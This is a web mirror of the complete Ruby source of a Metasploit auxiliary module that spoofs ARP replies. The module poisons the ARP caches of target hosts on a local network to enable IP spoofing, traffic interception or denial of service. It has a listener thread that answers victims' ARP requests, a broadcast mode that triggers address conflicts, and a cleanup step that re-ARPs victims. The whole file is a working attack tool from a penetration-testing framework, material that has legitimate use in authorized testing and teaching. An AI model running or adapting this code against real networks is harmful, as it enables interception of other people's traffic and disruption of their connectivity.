Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/spoof/arp/arp_poisoning.rb
19591 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Capture
8
include Msf::Auxiliary::Report
9
10
def initialize
11
super(
12
'Name' => 'ARP Spoof',
13
'Description' => %q{
14
Spoof ARP replies and poison remote ARP caches to conduct IP address spoofing or a denial of service.
15
},
16
'Author' => [
17
'amaloteaux', # msf rewrite
18
# tons of people
19
],
20
'License' => MSF_LICENSE,
21
'References' => [
22
['OSVDB', '11169'],
23
['CVE', '1999-0667'],
24
['URL', 'https://en.wikipedia.org/wiki/ARP_spoofing']
25
],
26
'DisclosureDate' => 'Dec 22 1999', # osvdb date
27
'Notes' => {
28
'Stability' => [OS_RESOURCE_LOSS],
29
'SideEffects' => [IOC_IN_LOGS],
30
'Reliability' => []
31
}
32
)
33
34
register_options([
35
OptString.new('SHOSTS', [true, 'Spoofed IP addresses']),
36
OptString.new('SMAC', [false, 'Spoofed MAC address']),
37
OptString.new('DHOSTS', [true, 'Target IP addresses']),
38
OptString.new('INTERFACE', [false, 'The name of the interface']),
39
OptBool.new('BIDIRECTIONAL', [true, 'Spoof also the source with the destination', false]),
40
OptBool.new('AUTO_ADD', [true, 'Auto add new host when discovered by the listener', false]),
41
OptBool.new('LISTENER', [true, 'Use an additional thread that will listen for arp requests to reply as fast as possible', true])
42
])
43
44
register_advanced_options([
45
OptString.new('LOCALSMAC', [false, 'The MAC address of the local interface to use for hosts detection, this is useful only if you want to spoof to another host with SMAC']),
46
OptString.new('LOCALSIP', [false, 'The IP address of the local interface to use for hosts detection']),
47
OptInt.new('PKT_DELAY', [true, 'The delay in milliseconds between each packet during poisoning', 100]),
48
OptInt.new('TIMEOUT', [true, 'The number of seconds to wait for new data during host detection', 2]),
49
# This mode will generate address IP conflict pop up on most systems
50
OptBool.new('BROADCAST', [true, 'If set, the module will send replies on the broadcast address without consideration of DHOSTS', false])
51
])
52
53
deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE', 'RHOST', 'SECRET', 'GATEWAY_PROBE_HOST', 'GATEWAY_PROBE_PORT')
54
end
55
56
def run
57
open_pcap({ 'SNAPLEN' => 68, 'FILTER' => 'arp[6:2] == 0x0002' })
58
@netifaces = true
59
if !netifaces_implemented?
60
print_error('WARNING : Pcaprub is not up-to-date, some functionality will not be available')
61
@netifaces = false
62
end
63
@spoofing = false
64
# The local dst (and src) cache(s)
65
@dsthosts_cache = {}
66
@srchosts_cache = {}
67
# Some additional caches for autoadd feature
68
if datastore['AUTO_ADD']
69
@dsthosts_autoadd_cache = {}
70
if datastore['BIDIRECTIONAL']
71
@srchosts_autoadd_cache = {}
72
end
73
end
74
75
begin
76
@interface = datastore['INTERFACE'] || Pcap.lookupdev
77
# This is needed on windows cause we send interface directly to Pcap functions
78
@interface = get_interface_guid(@interface)
79
@smac = datastore['SMAC']
80
@smac ||= get_mac(@interface) if @netifaces
81
raise 'SMAC is not defined and can not be guessed' unless @smac
82
raise 'Source MAC is not in correct format' unless is_mac?(@smac)
83
84
@sip = datastore['LOCALSIP']
85
@sip ||= get_ipv4_addr(@interface) if @netifaces
86
raise 'LOCALSIP is not defined and can not be guessed' unless @sip
87
raise 'LOCALSIP is not an ipv4 address' unless Rex::Socket.is_ipv4?(@sip)
88
89
shosts_range = Rex::Socket::RangeWalker.new(datastore['SHOSTS'])
90
@shosts = []
91
if datastore['BIDIRECTIONAL']
92
shosts_range.each { |shost| if Rex::Socket.is_ipv4?(shost) && (shost != @sip) then @shosts.push shost end }
93
else
94
shosts_range.each { |shost| if Rex::Socket.is_ipv4?(shost) then @shosts.push shost end }
95
end
96
97
if datastore['BROADCAST']
98
broadcast_spoof
99
else
100
arp_poisoning
101
end
102
rescue StandardError => e
103
print_error(e.message)
104
ensure
105
if datastore['LISTENER'] && @listener
106
@listener.kill
107
end
108
109
if capture && @spoofing && !datastore['BROADCAST']
110
print_status('RE-ARPing the victims...')
111
3.times do
112
@dsthosts_cache.keys.sort.each do |dhost|
113
dmac = @dsthosts_cache[dhost]
114
if datastore['BIDIRECTIONAL']
115
@srchosts_cache.keys.sort.each do |shost|
116
smac = @srchosts_cache[shost]
117
next unless shost != dhost
118
119
vprint_status("Sending arp packet for #{shost} to #{dhost}")
120
reply = buildreply(shost, smac, dhost, dmac)
121
inject(reply)
122
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)
123
end
124
else
125
@shosts.each do |shost|
126
next unless shost != dhost
127
128
vprint_status("Sending arp request for #{shost} to #{dhost}")
129
request = buildprobe(dhost, dmac, shost)
130
inject(request)
131
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)
132
end
133
end
134
end
135
next unless datastore['BIDIRECTIONAL']
136
137
@srchosts_cache.keys.sort.each do |shost|
138
smac = @srchosts_cache[shost]
139
@dsthosts_cache.keys.sort.each do |dhost|
140
dmac = @dsthosts_cache[dhost]
141
next unless shost != dhost
142
143
vprint_status("Sending arp packet for #{dhost} to #{shost}")
144
reply = buildreply(dhost, dmac, shost, smac)
145
inject(reply)
146
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)
147
end
148
end
149
end
150
end
151
close_pcap
152
end
153
end
154
155
def broadcast_spoof
156
print_status('ARP poisoning in progress (broadcast)...')
157
loop do
158
@shosts.each do |shost|
159
vprint_status("Sending arp packet for #{shost} address")
160
reply = buildreply(shost, @smac, '0.0.0.0', 'ff:ff:ff:ff:ff:ff')
161
inject(reply)
162
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)
163
end
164
end
165
end
166
167
def arp_poisoning
168
lsmac = datastore['LOCALSMAC'] || @smac
169
raise 'Local Source Mac is not in correct format' unless is_mac?(lsmac)
170
171
dhosts_range = Rex::Socket::RangeWalker.new(datastore['DHOSTS'])
172
@dhosts = []
173
dhosts_range.each { |dhost| if Rex::Socket.is_ipv4?(dhost) && (dhost != @sip) then @dhosts.push(dhost) end }
174
175
# Build the local dest hosts cache
176
print_status('Building the destination hosts cache...')
177
@dhosts.each do |dhost|
178
vprint_status("Sending arp packet to #{dhost}")
179
180
probe = buildprobe(@sip, lsmac, dhost)
181
inject(probe)
182
while (reply = getreply)
183
next if !reply.is_arp?
184
185
# Without this check any arp request would be added to the cache
186
next unless @dhosts.include? reply.arp_saddr_ip
187
188
print_good("#{reply.arp_saddr_ip} appears to be up.")
189
report_host(host: reply.arp_saddr_ip, mac: reply.arp_saddr_mac)
190
@dsthosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
191
end
192
end
193
# Wait some few seconds for last packets
194
etime = Time.now.to_f + datastore['TIMEOUT']
195
while (Time.now.to_f < etime)
196
while (reply = getreply)
197
next if !reply.is_arp?
198
199
next unless @dhosts.include? reply.arp_saddr_ip
200
201
print_good("#{reply.arp_saddr_ip} appears to be up.")
202
report_host(host: reply.arp_saddr_ip, mac: reply.arp_saddr_mac)
203
@dsthosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
204
end
205
Kernel.select(nil, nil, nil, 0.50)
206
end
207
raise 'No hosts found' if @dsthosts_cache.empty?
208
209
# Build the local src hosts cache
210
if datastore['BIDIRECTIONAL']
211
print_status('Building the source hosts cache for unknown source hosts...')
212
@shosts.each do |shost|
213
if @dsthosts_cache.key? shost
214
vprint_status("Adding #{shost} from destination cache")
215
@srchosts_cache[shost] = @dsthosts_cache[shost]
216
next
217
end
218
vprint_status("Sending arp packet to #{shost}")
219
probe = buildprobe(@sip, lsmac, shost)
220
inject(probe)
221
while (reply = getreply)
222
next if !reply.is_arp?
223
224
next unless @shosts.include? reply.arp_saddr_ip
225
226
print_good("#{reply.arp_saddr_ip} appears to be up.")
227
report_host(host: reply.arp_saddr_ip, mac: reply.arp_saddr_mac)
228
@srchosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
229
end
230
end
231
# Wait some few seconds for last packets
232
etime = Time.now.to_f + datastore['TIMEOUT']
233
while (Time.now.to_f < etime)
234
while (reply = getreply)
235
next if !reply.is_arp?
236
237
next unless @shosts.include? reply.arp_saddr_ip
238
239
print_good("#{reply.arp_saddr_ip} appears to be up.")
240
report_host(host: reply.arp_saddr_ip, mac: reply.arp_saddr_mac)
241
@srchosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
242
end
243
Kernel.select(nil, nil, nil, 0.50)
244
end
245
raise 'No hosts found' if @srchosts_cache.empty?
246
end
247
248
if datastore['AUTO_ADD']
249
@mutex_cache = Mutex.new
250
end
251
252
# Start the listener
253
if datastore['LISTENER']
254
start_listener(@dsthosts_cache, @srchosts_cache)
255
end
256
# Do the job until user interrupt it
257
print_status('ARP poisoning in progress...')
258
@spoofing = true
259
loop do
260
if datastore['AUTO_ADD']
261
@mutex_cache.lock
262
if !@dsthosts_autoadd_cache.empty?
263
@dsthosts_cache.merge!(@dsthosts_autoadd_cache)
264
@dsthosts_autoadd_cache = {}
265
end
266
if datastore['BIDIRECTIONAL'] && @srchosts_autoadd_cache.length > (0)
267
@srchosts_cache.merge!(@srchosts_autoadd_cache)
268
@srchosts_autoadd_cache = {}
269
end
270
@mutex_cache.unlock
271
end
272
@dsthosts_cache.keys.sort.each do |dhost|
273
dmac = @dsthosts_cache[dhost]
274
if datastore['BIDIRECTIONAL']
275
@srchosts_cache.keys.sort.each do |shost|
276
@srchosts_cache[shost]
277
next unless shost != dhost
278
279
vprint_status("Sending arp packet for #{shost} to #{dhost}")
280
reply = buildreply(shost, @smac, dhost, dmac)
281
inject(reply)
282
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)
283
end
284
else
285
@shosts.each do |shost|
286
next unless shost != dhost
287
288
vprint_status("Sending arp packet for #{shost} to #{dhost}")
289
reply = buildreply(shost, @smac, dhost, dmac)
290
inject(reply)
291
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)
292
end
293
end
294
end
295
296
next unless datastore['BIDIRECTIONAL']
297
298
@srchosts_cache.keys.sort.each do |shost|
299
smac = @srchosts_cache[shost]
300
@dsthosts_cache.keys.sort.each do |dhost|
301
@dsthosts_cache[dhost]
302
next unless shost != dhost
303
304
vprint_status("Sending arp packet for #{dhost} to #{shost}")
305
reply = buildreply(dhost, @smac, shost, smac)
306
inject(reply)
307
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)
308
end
309
end
310
end
311
end
312
313
def is_mac?(mac)
314
if mac =~ /^([a-fA-F0-9]{2}:){5}[a-fA-F0-9]{2}$/ then true
315
else
316
false end
317
end
318
319
def buildprobe(shost, smac, dhost)
320
p = PacketFu::ARPPacket.new
321
p.eth_saddr = smac
322
p.eth_daddr = 'ff:ff:ff:ff:ff:ff'
323
p.arp_opcode = 1
324
p.arp_daddr_mac = p.eth_daddr
325
p.arp_saddr_mac = p.eth_saddr
326
p.arp_saddr_ip = shost
327
p.arp_daddr_ip = dhost
328
p
329
end
330
331
def buildreply(shost, smac, dhost, dmac)
332
p = PacketFu::ARPPacket.new
333
p.eth_saddr = smac
334
p.eth_daddr = dmac
335
p.arp_opcode = 2 # ARP Reply
336
p.arp_daddr_mac = p.eth_daddr
337
p.arp_saddr_mac = p.eth_saddr
338
p.arp_saddr_ip = shost
339
p.arp_daddr_ip = dhost
340
p
341
end
342
343
def getreply
344
pkt_bytes = capture.next
345
return if !pkt_bytes
346
347
pkt = PacketFu::Packet.parse(pkt_bytes)
348
return unless pkt.is_arp?
349
return unless pkt.arp_opcode == 2
350
351
pkt
352
end
353
354
def start_listener(dsthosts_cache, srchosts_cache)
355
if datastore['BIDIRECTIONAL']
356
thread_args = { BIDIRECTIONAL: true, dhosts: dsthosts_cache.dup, shosts: srchosts_cache.dup }
357
else
358
thread_args = { BIDIRECTIONAL: false, dhosts: dsthosts_cache.dup, shosts: @shosts.dup }
359
end
360
# To avoid any race condition in case of , even if actually those are never updated after the thread is launched
361
thread_args[:AUTO_ADD] = datastore['AUTO_ADD']
362
thread_args[:localip] = @sip.dup
363
@listener = Thread.new(thread_args) do |args|
364
# one more local copy
365
liste_src_ips = []
366
if args[:BIDIRECTIONAL]
367
args[:shosts].each_key { |address| liste_src_ips.push address }
368
else
369
args[:shosts].each { |address| liste_src_ips.push address }
370
end
371
liste_dst_ips = []
372
args[:dhosts].each_key { |address| liste_dst_ips.push address }
373
localip = args[:localip]
374
375
listener_capture = ::Pcap.open_live(@interface, 68, true, 0)
376
listener_capture.setfilter('arp[6:2] == 0x0001')
377
loop do
378
pkt_bytes = listener_capture.next
379
next unless pkt_bytes
380
381
pkt = PacketFu::Packet.parse(pkt_bytes)
382
if pkt.is_arp? && pkt.arp_opcode == (1)
383
# check if the source ip is in the dest hosts
384
if (liste_dst_ips.include?(pkt.arp_saddr_ip) && liste_src_ips.include?(pkt.arp_daddr_ip)) ||
385
(args[:BIDIRECTIONAL] && liste_dst_ips.include?(pkt.arp_daddr_ip) && liste_src_ips.include?(pkt.arp_saddr_ip))
386
vprint_status("Listener : Request from #{pkt.arp_saddr_ip} for #{pkt.arp_daddr_ip}")
387
reply = buildreply(pkt.arp_daddr_ip, @smac, pkt.arp_saddr_ip, pkt.eth_saddr)
388
3.times { listener_capture.inject(reply.to_s) }
389
elsif args[:AUTO_ADD]
390
if @dhosts.include?(pkt.arp_saddr_ip) && !liste_dst_ips.include?(pkt.arp_saddr_ip) &&
391
(pkt.arp_saddr_ip != localip)
392
@mutex_cache.lock
393
print_status("#{pkt.arp_saddr_ip} appears to be up.")
394
@dsthosts_autoadd_cache[pkt.arp_saddr_ip] = pkt.arp_saddr_mac
395
liste_dst_ips.push pkt.arp_saddr_ip
396
@mutex_cache.unlock
397
elsif args[:BIDIRECTIONAL] && @shosts.include?(pkt.arp_saddr_ip) &&
398
!liste_src_ips.include?(pkt.arp_saddr_ip) && (pkt.arp_saddr_ip != localip)
399
@mutex_cache.lock
400
print_status("#{pkt.arp_saddr_ip} appears to be up.")
401
@srchosts_autoadd_cache[pkt.arp_saddr_ip] = pkt.arp_saddr_mac
402
liste_src_ips.push pkt.arp_saddr_ip
403
@mutex_cache.unlock
404
end
405
end
406
end
407
end
408
rescue StandardError => e
409
print_error("Listener Error: #{e.message}")
410
print_error('Listener Error: Listener is stopped')
411
end
412
@listener.abort_on_exception = true
413
end
414
end
415
416